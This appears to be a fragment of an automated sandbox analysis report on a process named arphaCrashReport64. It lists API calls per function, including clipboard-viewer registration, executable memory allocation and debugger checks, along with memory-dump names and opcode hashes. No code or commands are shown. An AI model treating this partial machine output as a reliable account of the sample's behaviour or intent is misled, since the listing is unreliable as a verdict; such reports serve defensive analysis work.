Part of subcall function 0000021497C47BDC: _errno.LIBCMT ref: 0000021497C47BE5
Part of subcall function 0000021497C47BDC: _invalid_parameter_noinfo.LIBCMT ref: 0000021497C47BF0

___lc_codepage_func.LIBCMT ref: 0000021497C46EE8

Part of subcall function 0000021497C4C3A8: _getptd.LIBCMT ref: 0000021497C4C3AC

Part of subcall function 0000021497C484C8: __wtomb_environ.LIBCMT ref: 0000021497C484F8

free.LIBCMT ref: 0000021497C46F59

Part of subcall function 0000021497C436E0: _errno.LIBCMT ref: 0000021497C43700

free.LIBCMT ref: 0000021497C46FC2

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$free$___lc_codepage_func__wtomb_environ_getptd_lock
String ID:
API String ID: 4268574505-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: f1d630f26dc12d9b97242c064afe25f15b5eca541809dc6e587db853bda5edf2
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: 27D1AB306587C48EE769FF289849BEB77D2FBD5711F44592DA48EC319ADB3098018F82

Function 0000021497F39FFC Relevance: 10.6, APIs: 7, Instructions: 143COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000021497F3A060

Part of subcall function 0000021497F3537C: Sleep.KERNEL32(?,?,ceil,0000021497F34907,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F353C1

free.LIBCMT ref: 0000021497F3A0DE
free.LIBCMT ref: 0000021497F3A125
GetLocaleInfoW.KERNEL32 ref: 0000021497F3A15C
GetLocaleInfoW.KERNEL32 ref: 0000021497F3A186
free.LIBCMT ref: 0000021497F3A193
GetLocaleInfoW.KERNEL32 ref: 0000021497F3A1BE

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocalefree$ErrorLastSleep
String ID:
API String ID: 3746651342-0
Opcode ID: bbf915b0126b6d411513f53f6a3ce8459f423b85cd882378f28b7d3cfe934764
Instruction ID: 1379b0f5e345ca901c382e752a64243387128b060ae271b3deb1897d171d6e68
Opcode Fuzzy Hash: bbf915b0126b6d411513f53f6a3ce8459f423b85cd882378f28b7d3cfe934764
Instruction Fuzzy Hash: D151E53271064442F760BB32A43AFEB26D5EBA4BD6F004825ED0D67B8DEE3AC4018F00

Function 00007FF6001721D8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF600172251
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF600172269
RtlVirtualUnwind.KERNEL32 ref: 00007FF6001722A4
IsDebuggerPresent.KERNEL32 ref: 00007FF6001722DD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6001722E7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6001722F2

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 87d858a787b0cbed64fae6d3a0f8fc6a00e1c7d12333b0daa391c6b4482691b2
Instruction ID: df7ba328c2043899fd95118cc3138e26d4ca63607c13550580a776d1bba0a719
Opcode Fuzzy Hash: 87d858a787b0cbed64fae6d3a0f8fc6a00e1c7d12333b0daa391c6b4482691b2
Instruction Fuzzy Hash: 5A318236608B8196DB60CF65E8407AE73B5FB88754F640136EA8D83B99DF3CC646CB00

Function 0000021497F24380 Relevance: 9.1, APIs: 6, Instructions: 53windowclipboardCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 0000021497F243CD
SendMessageA.USER32 ref: 0000021497F243E1
DestroyWindow.USER32 ref: 0000021497F243EF
PostQuitMessage.USER32 ref: 0000021497F243F7
ChangeClipboardChain.USER32 ref: 0000021497F2440C
SetClipboardViewer.USER32 ref: 0000021497F2441A

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Message$ClipboardSend$ChainChangeDestroyPostQuitViewerWindow
String ID:
API String ID: 267668081-0
Opcode ID: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction ID: 26c64206ed89c860a41663031615ded9e5fbcb5876d0333145454a2a77763d85
Opcode Fuzzy Hash: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction Fuzzy Hash: 0001D67269840283F724BB75A86DBF711D0EB687A3F441820C60DD56ACDEAC8CD29F14

Function 0000021497F3CDF8 Relevance: 7.7, APIs: 5, Instructions: 165COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F3CE1F

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

GetLocaleInfoA.KERNEL32 ref: 0000021497F3CE54
GetLocaleInfoA.KERNEL32 ref: 0000021497F3CEAC
GetLocaleInfoA.KERNEL32 ref: 0000021497F3CFA0

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocale$_amsg_exit_getptd
String ID:
API String ID: 3133215516-0
Opcode ID: ee009b1be5d3d2cde25756b1d45347cc96b5970ab7b8554e0b603cf54b10ec7e
Instruction ID: 27230dc10a888bf124c421402b43d61e8602b06fd6ab3756d338d759b42dfe62
Opcode Fuzzy Hash: ee009b1be5d3d2cde25756b1d45347cc96b5970ab7b8554e0b603cf54b10ec7e
Instruction Fuzzy Hash: 8C71A372310A85D7EB59EB31C968BDA7390F7A4786F404815D75DAB798DB34D424CB00

Function 0000021497F3E600 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000021497F39D42), ref: 0000021497F3E64B
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000021497F39D42), ref: 0000021497F3E6DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000021497F39D42), ref: 0000021497F3E717
free.LIBCMT ref: 0000021497F3E72B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWidefree
String ID:
API String ID: 40707599-0
Opcode ID: 782c2ae40ed6df9be33f17baac5655201d48837b5c5e04d882e25822c50fe823
Instruction ID: 460ce0922654a6cd25a164356d7551ccd950825ef3c500dbd9cc802ac9f53c7a
Opcode Fuzzy Hash: 782c2ae40ed6df9be33f17baac5655201d48837b5c5e04d882e25822c50fe823
Instruction Fuzzy Hash: 2C417632311A8086EB50AF259818ADB77D5FB64BE9F584A11EA6D67BD8DB38C5018B00

Function 0000021497F2FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 0000021497F3004E
WriteFile.KERNEL32 ref: 0000021497F30102
CloseHandle.KERNEL32 ref: 0000021497F3011A

Strings

GET, xrefs: 0000021497F2FE9E

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: GET
API String ID: 1065093856-1805413626
Opcode ID: 124d72cd5e7ec1440d321d034adbaa2753bffeffca805573d9e122f8d0dd9c20
Instruction ID: 33e596f32004eddd63de6c1ace04244a36504d40d872cb652fa4dfdebb0a81df
Opcode Fuzzy Hash: 124d72cd5e7ec1440d321d034adbaa2753bffeffca805573d9e122f8d0dd9c20
Instruction Fuzzy Hash: 05D14B32214A4082FB24EB21E468B9F37A0F7A5BE9F504915DF9A17B99CF78C194CB44

Function 00007FF60016D1E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF60016D249
IsDebuggerPresent.KERNEL32 ref: 00007FF60016D261
OutputDebugStringW.KERNEL32 ref: 00007FF60016D272

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF60016D26B

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: 43f36b5dafdd9290870864911879261469b73582b4bfc8a2e8f83689ec6295af
Instruction ID: f3f6682d5765eeec191da0ae482f4fea76b742fdbef70bece02d7d319d48dc8a
Opcode Fuzzy Hash: 43f36b5dafdd9290870864911879261469b73582b4bfc8a2e8f83689ec6295af
Instruction Fuzzy Hash: DD118C32A18B42B6EB159BA2EA5437933A0FB18741F644179DA4DC2B58EF7CE174C700

Function 0000021497F36CAC Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F36CE5

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

Part of subcall function 0000021497F36A70: _getptd.LIBCMT ref: 0000021497F36AAA

Part of subcall function 0000021497F352FC: malloc.LIBCMT ref: 0000021497F35327
Part of subcall function 0000021497F352FC: Sleep.KERNEL32(?,?,ceil,0000021497F39B11,?,?,?,0000021497F39BBB,?,?,00000000,0000021497F34875,?,?,00000000,0000021497F3492C), ref: 0000021497F3533A

free.LIBCMT ref: 0000021497F36F42
free.LIBCMT ref: 0000021497F36F79
free.LIBCMT ref: 0000021497F36F86

Part of subcall function 0000021497F35664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021497F35706), ref: 0000021497F3567C

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$_getptd$CurrentProcessSleep_amsg_exitmalloc
String ID:
API String ID: 2889500207-0
Opcode ID: cf6d3bac5b4105b9189a72264d0d1fb0f41da62099fa96747caf025d74721c30
Instruction ID: d57f7ca09d08ff1530b3911259c737c4020408f3a34b0f39415c181292b1fab4
Opcode Fuzzy Hash: cf6d3bac5b4105b9189a72264d0d1fb0f41da62099fa96747caf025d74721c30
Instruction Fuzzy Hash: 41A1BD32205A80D6EB24EB25E598BDBB7A0F3687C9F104526EF4D57B58EB38D455CF00

Function 00007FF600177C60 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF600177CC4

Strings

gfffffff, xrefs: 00007FF600177F61

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 2fbdbe98dfdf278a036b236c306a1cfd7cdb5c896820042225897b8221c0ba70
Instruction ID: 0aa1b6665878f3b98f23797abbbf8a52fe43bbc31dcc22de09d1e09d327f1630
Opcode Fuzzy Hash: 2fbdbe98dfdf278a036b236c306a1cfd7cdb5c896820042225897b8221c0ba70
Instruction Fuzzy Hash: 68915562B0D7C696EB11CBA5D4103BD77A4AB54B84F2580B2CA5DC73D9EE3DE502C701

Function 0000021497F324A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 229memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 0000021497F3274E

Strings

base, xrefs: 0000021497F3267B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AllocLocal
String ID: base
API String ID: 3494564517-3233087073
Opcode ID: c0878f8b671855057f65a3e5919f93ea18debb5403dee10f9da02fb6507d340e
Instruction ID: 6264549f2eb892707982e0caa61bb64eaec5583f7d839027b91675797b7b258a
Opcode Fuzzy Hash: c0878f8b671855057f65a3e5919f93ea18debb5403dee10f9da02fb6507d340e
Instruction Fuzzy Hash: E191257270064482EF54EB26D064BAF77A1F7A8FD6F148512DF4D17B9ADB38C8928B40

Function 0000021497F22380 Relevance: 5.2, APIs: 4, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,0000021497F222C7), ref: 0000021497F224B6
VirtualFree.KERNEL32(?,?,00000000,00000000,?,0000021497F222C7), ref: 0000021497F224F0
VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,0000021497F222C7), ref: 0000021497F22643
VirtualFree.KERNEL32(?,?,00000000,00000000,?,0000021497F222C7), ref: 0000021497F22678

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: a19bc9080f5a4c36b6c4d71dfdc3790bb118157c9ac63d932897b30f627c45a0
Instruction ID: acec7b7664c830a31f34188a68e26c07cec57ab9b639ef543368ab616cde74dc
Opcode Fuzzy Hash: a19bc9080f5a4c36b6c4d71dfdc3790bb118157c9ac63d932897b30f627c45a0
Instruction Fuzzy Hash: FFA1C132304A4087EF19EF29C168BAE67A5F764B85F018929DF1E67798DF34D891CB40

Function 00007FF6001664E0 Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(?,?,00000001,00007FF600162FB6), ref: 00007FF6001664FD
LockResource.KERNEL32(?,?,00000001,00007FF600162FB6), ref: 00007FF60016650B
SizeofResource.KERNEL32(?,?,00000001,00007FF600162FB6), ref: 00007FF60016651F

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 839a15f0a8e26375efb4c7977fa49b83d425b3583371d8a9c158e74d23e43cd6
Instruction ID: 0e655acad503420fd928981b024dd03d5a788a6bab35fe911a35307040658497
Opcode Fuzzy Hash: 839a15f0a8e26375efb4c7977fa49b83d425b3583371d8a9c158e74d23e43cd6
Instruction Fuzzy Hash: D3015E31F1AA4291EF548F99A84917963A0AF58FD4F2C44B1DA6EC77DCEE3CE4808300

Function 00007FF600162CB0 Relevance: 1.5, APIs: 1, Instructions: 35comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00007FF600162CF7

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 3b2141312c507146197a6b231c6b0d18e63aa33c7ef6eb246e1fe572dc3064a8
Instruction ID: 35b838e94a9e1b4e72a729d18e9846eb4caf0dd58768bac50980e75a30a54dd7
Opcode Fuzzy Hash: 3b2141312c507146197a6b231c6b0d18e63aa33c7ef6eb246e1fe572dc3064a8
Instruction Fuzzy Hash: 37016276A08E1292D7018F59F4501A9B3B1FB95BD8B288071DB8C83B6CDF3DD556C700

Function 00007FF60017FC70 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92cc2c6b8134dcd1d90e81fd4ee0dc0e69cf849aebd7e5d77ccca44f26df776
Instruction ID: b060b7cf7153ef1e1669bf99dda69bd77887543922854f3d2ad8eed7d47c89c4
Opcode Fuzzy Hash: c92cc2c6b8134dcd1d90e81fd4ee0dc0e69cf849aebd7e5d77ccca44f26df776
Instruction Fuzzy Hash: 6BF068B17292959BDBA48F68B442A2977E0F708384F508079D58DC3B08DA3C90618F04

Function 0000021497C4B0FC Relevance: 107.8, APIs: 86, Instructions: 270COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497C4B111

Part of subcall function 0000021497C436E0: _errno.LIBCMT ref: 0000021497C43700

free.LIBCMT ref: 0000021497C4B11A
free.LIBCMT ref: 0000021497C4B123
free.LIBCMT ref: 0000021497C4B12C
free.LIBCMT ref: 0000021497C4B135
free.LIBCMT ref: 0000021497C4B13E
free.LIBCMT ref: 0000021497C4B146
free.LIBCMT ref: 0000021497C4B14F
free.LIBCMT ref: 0000021497C4B158
free.LIBCMT ref: 0000021497C4B161
free.LIBCMT ref: 0000021497C4B16A
free.LIBCMT ref: 0000021497C4B173
free.LIBCMT ref: 0000021497C4B17C
free.LIBCMT ref: 0000021497C4B185
free.LIBCMT ref: 0000021497C4B18E
free.LIBCMT ref: 0000021497C4B197
free.LIBCMT ref: 0000021497C4B1A3
free.LIBCMT ref: 0000021497C4B1AF
free.LIBCMT ref: 0000021497C4B1BB
free.LIBCMT ref: 0000021497C4B1C7
free.LIBCMT ref: 0000021497C4B1D3
free.LIBCMT ref: 0000021497C4B1DF
free.LIBCMT ref: 0000021497C4B1EB
free.LIBCMT ref: 0000021497C4B1F7
free.LIBCMT ref: 0000021497C4B203
free.LIBCMT ref: 0000021497C4B20F
free.LIBCMT ref: 0000021497C4B21B
free.LIBCMT ref: 0000021497C4B227
free.LIBCMT ref: 0000021497C4B233
free.LIBCMT ref: 0000021497C4B23F
free.LIBCMT ref: 0000021497C4B24B
free.LIBCMT ref: 0000021497C4B257
free.LIBCMT ref: 0000021497C4B263
free.LIBCMT ref: 0000021497C4B26F
free.LIBCMT ref: 0000021497C4B27B
free.LIBCMT ref: 0000021497C4B287
free.LIBCMT ref: 0000021497C4B293
free.LIBCMT ref: 0000021497C4B29F
free.LIBCMT ref: 0000021497C4B2AB
free.LIBCMT ref: 0000021497C4B2B7
free.LIBCMT ref: 0000021497C4B2C3
free.LIBCMT ref: 0000021497C4B2CF
free.LIBCMT ref: 0000021497C4B2DB
free.LIBCMT ref: 0000021497C4B2E7
free.LIBCMT ref: 0000021497C4B2F3
free.LIBCMT ref: 0000021497C4B2FF
free.LIBCMT ref: 0000021497C4B30B
free.LIBCMT ref: 0000021497C4B317
free.LIBCMT ref: 0000021497C4B323
free.LIBCMT ref: 0000021497C4B32F
free.LIBCMT ref: 0000021497C4B33B
free.LIBCMT ref: 0000021497C4B347
free.LIBCMT ref: 0000021497C4B353
free.LIBCMT ref: 0000021497C4B35F
free.LIBCMT ref: 0000021497C4B36B
free.LIBCMT ref: 0000021497C4B377
free.LIBCMT ref: 0000021497C4B383
free.LIBCMT ref: 0000021497C4B38F
free.LIBCMT ref: 0000021497C4B39B
free.LIBCMT ref: 0000021497C4B3A7
free.LIBCMT ref: 0000021497C4B3B3
free.LIBCMT ref: 0000021497C4B3BF
free.LIBCMT ref: 0000021497C4B3CB
free.LIBCMT ref: 0000021497C4B3D7
free.LIBCMT ref: 0000021497C4B3E3
free.LIBCMT ref: 0000021497C4B3EF
free.LIBCMT ref: 0000021497C4B3FB
free.LIBCMT ref: 0000021497C4B407
free.LIBCMT ref: 0000021497C4B413
free.LIBCMT ref: 0000021497C4B41F
free.LIBCMT ref: 0000021497C4B42B
free.LIBCMT ref: 0000021497C4B437
free.LIBCMT ref: 0000021497C4B443
free.LIBCMT ref: 0000021497C4B44F
free.LIBCMT ref: 0000021497C4B45B
free.LIBCMT ref: 0000021497C4B467
free.LIBCMT ref: 0000021497C4B473
free.LIBCMT ref: 0000021497C4B47F
free.LIBCMT ref: 0000021497C4B48B
free.LIBCMT ref: 0000021497C4B497
free.LIBCMT ref: 0000021497C4B4A3
free.LIBCMT ref: 0000021497C4B4AF
free.LIBCMT ref: 0000021497C4B4BB
free.LIBCMT ref: 0000021497C4B4C7
free.LIBCMT ref: 0000021497C4B4D3
free.LIBCMT ref: 0000021497C4B4DF

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: c3129ec606c6d2fc7c2daf42cf00603e5a543c30f7661cec909a72b8a1e3d951
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: 62B1B5303A044A5FE688FFA5C4EABDA7351BF98341F8505B4D80DDA6EBCE125C49CB10

Function 0000021497F3B744 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497F3B759

Part of subcall function 0000021497F33D28: HeapFree.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D3E
Part of subcall function 0000021497F33D28: _errno.LIBCMT ref: 0000021497F33D48
Part of subcall function 0000021497F33D28: GetLastError.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D50

free.LIBCMT ref: 0000021497F3B762
free.LIBCMT ref: 0000021497F3B76B
free.LIBCMT ref: 0000021497F3B774
free.LIBCMT ref: 0000021497F3B77D
free.LIBCMT ref: 0000021497F3B786
free.LIBCMT ref: 0000021497F3B78E
free.LIBCMT ref: 0000021497F3B797
free.LIBCMT ref: 0000021497F3B7A0
free.LIBCMT ref: 0000021497F3B7A9
free.LIBCMT ref: 0000021497F3B7B2
free.LIBCMT ref: 0000021497F3B7BB
free.LIBCMT ref: 0000021497F3B7C4
free.LIBCMT ref: 0000021497F3B7CD
free.LIBCMT ref: 0000021497F3B7D6
free.LIBCMT ref: 0000021497F3B7DF
free.LIBCMT ref: 0000021497F3B7EB
free.LIBCMT ref: 0000021497F3B7F7
free.LIBCMT ref: 0000021497F3B803
free.LIBCMT ref: 0000021497F3B80F
free.LIBCMT ref: 0000021497F3B81B
free.LIBCMT ref: 0000021497F3B827
free.LIBCMT ref: 0000021497F3B833
free.LIBCMT ref: 0000021497F3B83F
free.LIBCMT ref: 0000021497F3B84B
free.LIBCMT ref: 0000021497F3B857
free.LIBCMT ref: 0000021497F3B863
free.LIBCMT ref: 0000021497F3B86F
free.LIBCMT ref: 0000021497F3B87B
free.LIBCMT ref: 0000021497F3B887
free.LIBCMT ref: 0000021497F3B893
free.LIBCMT ref: 0000021497F3B89F
free.LIBCMT ref: 0000021497F3B8AB
free.LIBCMT ref: 0000021497F3B8B7
free.LIBCMT ref: 0000021497F3B8C3
free.LIBCMT ref: 0000021497F3B8CF
free.LIBCMT ref: 0000021497F3B8DB
free.LIBCMT ref: 0000021497F3B8E7
free.LIBCMT ref: 0000021497F3B8F3
free.LIBCMT ref: 0000021497F3B8FF
free.LIBCMT ref: 0000021497F3B90B
free.LIBCMT ref: 0000021497F3B917
free.LIBCMT ref: 0000021497F3B923
free.LIBCMT ref: 0000021497F3B92F
free.LIBCMT ref: 0000021497F3B93B
free.LIBCMT ref: 0000021497F3B947
free.LIBCMT ref: 0000021497F3B953
free.LIBCMT ref: 0000021497F3B95F
free.LIBCMT ref: 0000021497F3B96B
